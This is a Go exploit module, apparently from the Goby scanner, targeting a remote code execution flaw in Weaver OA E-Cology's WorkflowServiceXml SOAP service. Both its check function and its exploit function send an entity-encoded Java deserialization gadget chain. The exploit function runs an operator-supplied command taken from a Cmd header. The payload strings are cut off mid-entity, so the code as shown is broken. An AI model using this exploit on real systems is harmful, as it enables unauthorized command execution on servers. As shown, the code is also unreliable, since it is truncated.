Goby/go/Weaver_OA_E_Cology_Workflow...

112 lines
84 KiB
Go
Raw Normal View History

2022-11-25 02:08:58 -08:00
package exploits
import (
"fmt"
"git.gobies.org/goby/goscanner/goutils"
"git.gobies.org/goby/goscanner/jsonvul"
"git.gobies.org/goby/goscanner/scanconfig"
"git.gobies.org/goby/httpclient"
"strings"
)
func init() {
expJson := `{
"Name": "Weaver OA E-Cology Workflowservicexml RCE",
"Description": "Weaver OA E-Cology Workflowservicexml RCE",
"Product": "Weaver OA E-Cology",
"Homepage": "https://www.weaver.com.cn/",
"DisclosureDate": "2021-05-19",
"Author": "PeiQi",
"GobyQuery": "app=\"Weaver-OA\"",
"Level": "3",
"Impact": "RCE",
"Recommendation": "",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"data": "",
"data_type": "text",
"follow_redirect": true,
"method": "GET",
"uri": "/"
},
"ResponseTest": {
"checks": [
{
"bz": "",
"operation": "==",
"type": "item",
"value": "200",
"variable": "$code"
}
],
"operation": "AND",
"type": "group"
}
}
],
"ExploitSteps": null,
"Tags": ["RCE"],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": ["Weaver OA"],
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
uri := "/services%20/WorkflowServiceXml"
cfg := httpclient.NewPostRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "text/xml")
cfg.Header.Store("Cmd", "net user")
cfg.Data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"webservices.services.weaver.com.cn\"><soapenv:Header/><soapenv:Body><web:doCreateWorkflowRequest><web:string>&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x20;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x63;&#x75;&#x73;&#x74;&#x6f;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x75;&#x6e;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x62;&#x6c;&#x65;&#x2d;&#x70;&#x61;&#x72;&#x65;&#x6e;&#x74;&#x73;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x32;&#x3c;&#x2f;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x70;&#x61;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x66;&#x78;&#x2e;&#x63;&#x6f;&#x6c;&#x6c;&#x65;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x73;&#x2e;&#x4f;&#x62;&#x73;&#x65;&#x72;&#x76;&#x61;&#x62;&#x6c;&#x65;&#x4c;&#x69;&#x73;&#x74;&#x24;&#x31;&#x27;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x6e;&#x74;&#x3e;&#x33;&#x3c;&#x2f;&#x69;&#x6e;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x62;&#x69;&#x6e;&#x64;&#x2e;&#x76;&#x32;&#x2e;&#x72;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x2e;&#x75;&#x6e;&#x6d;&#x61;&#x72;&#x73;&#x68;&#x61;&#x6c;&#x6c;&#x65;&#x72;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x61;&#x74;&#x61;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x48;&#x61;&#x6e;&#x64;&#x6c;&#x65;&#x72;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x77;&#x73;&#x2e;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x58;&#x4d;&#x4c;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x24;&#x58;&#x6d;&#x6c;&#x44;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x70;&#x6c;&#x61;&#x69;&#x6e;&#x3c;&#x2f;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x73;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x53;&#x65;&#x71;&#x75;&#x65;&#x6e;&#x63;&#x65;&#x49;&#x6e;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x73;&#x77;&#x69;&#x6e;&#x67;&#x2e;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x24;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x45;&#x6e;&#x75;&#x6d;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x74;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x74;&#x6f;&#x6f;&#x6c;&#x73;&#x2e;&#x6a;&#x61;&#x76;&#x61;&#x63;&#x2e;&#x70;&#x72;&#x6f;&#x63;&#x65
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
fmt.Println(resp)
return resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest")
}
return false
},
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
cmd := ss.Params["Cmd"].(string)
uri := "/services%20/WorkflowServiceXml"
cfg := httpclient.NewPostRequestConfig(uri)
cfg.VerifyTls = false
cfg.FollowRedirect = false
cfg.Header.Store("Content-type", "text/xml")
cfg.Header.Store("Cmd", cmd)
cfg.Data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:web=\"webservices.services.weaver.com.cn\"><soapenv:Header/><soapenv:Body><web:doCreateWorkflowRequest><web:string>&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x20;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x63;&#x75;&#x73;&#x74;&#x6f;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x75;&#x6e;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x62;&#x6c;&#x65;&#x2d;&#x70;&#x61;&#x72;&#x65;&#x6e;&#x74;&#x73;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x32;&#x3c;&#x2f;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x70;&#x61;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x66;&#x78;&#x2e;&#x63;&#x6f;&#x6c;&#x6c;&#x65;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x73;&#x2e;&#x4f;&#x62;&#x73;&#x65;&#x72;&#x76;&#x61;&#x62;&#x6c;&#x65;&#x4c;&#x69;&#x73;&#x74;&#x24;&#x31;&#x27;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x6e;&#x74;&#x3e;&#x33;&#x3c;&#x2f;&#x69;&#x6e;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x62;&#x69;&#x6e;&#x64;&#x2e;&#x76;&#x32;&#x2e;&#x72;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x2e;&#x75;&#x6e;&#x6d;&#x61;&#x72;&#x73;&#x68;&#x61;&#x6c;&#x6c;&#x65;&#x72;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x61;&#x74;&#x61;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x48;&#x61;&#x6e;&#x64;&#x6c;&#x65;&#x72;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x77;&#x73;&#x2e;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x58;&#x4d;&#x4c;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x24;&#x58;&#x6d;&#x6c;&#x44;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x70;&#x6c;&#x61;&#x69;&#x6e;&#x3c;&#x2f;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x73;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x53;&#x65;&#x71;&#x75;&#x65;&#x6e;&#x63;&#x65;&#x49;&#x6e;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x73;&#x77;&#x69;&#x6e;&#x67;&#x2e;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x24;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x45;&#x6e;&#x75;&#x6d;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x74;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x74;&#x6f;&#x6f;&#x6c;&#x73;&#x2e;&#x6a;&#x61;&#x76;&#x61;&#x63;&#x2e;&#x70;&#x72;&#x6f;&#x63;&#x65
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
if resp.StatusCode == 500 && strings.Contains(resp.RawBody, "VulTest"){
expResult.Output = resp.Utf8Html
expResult.Success = true
}
}
return expResult
},
))
}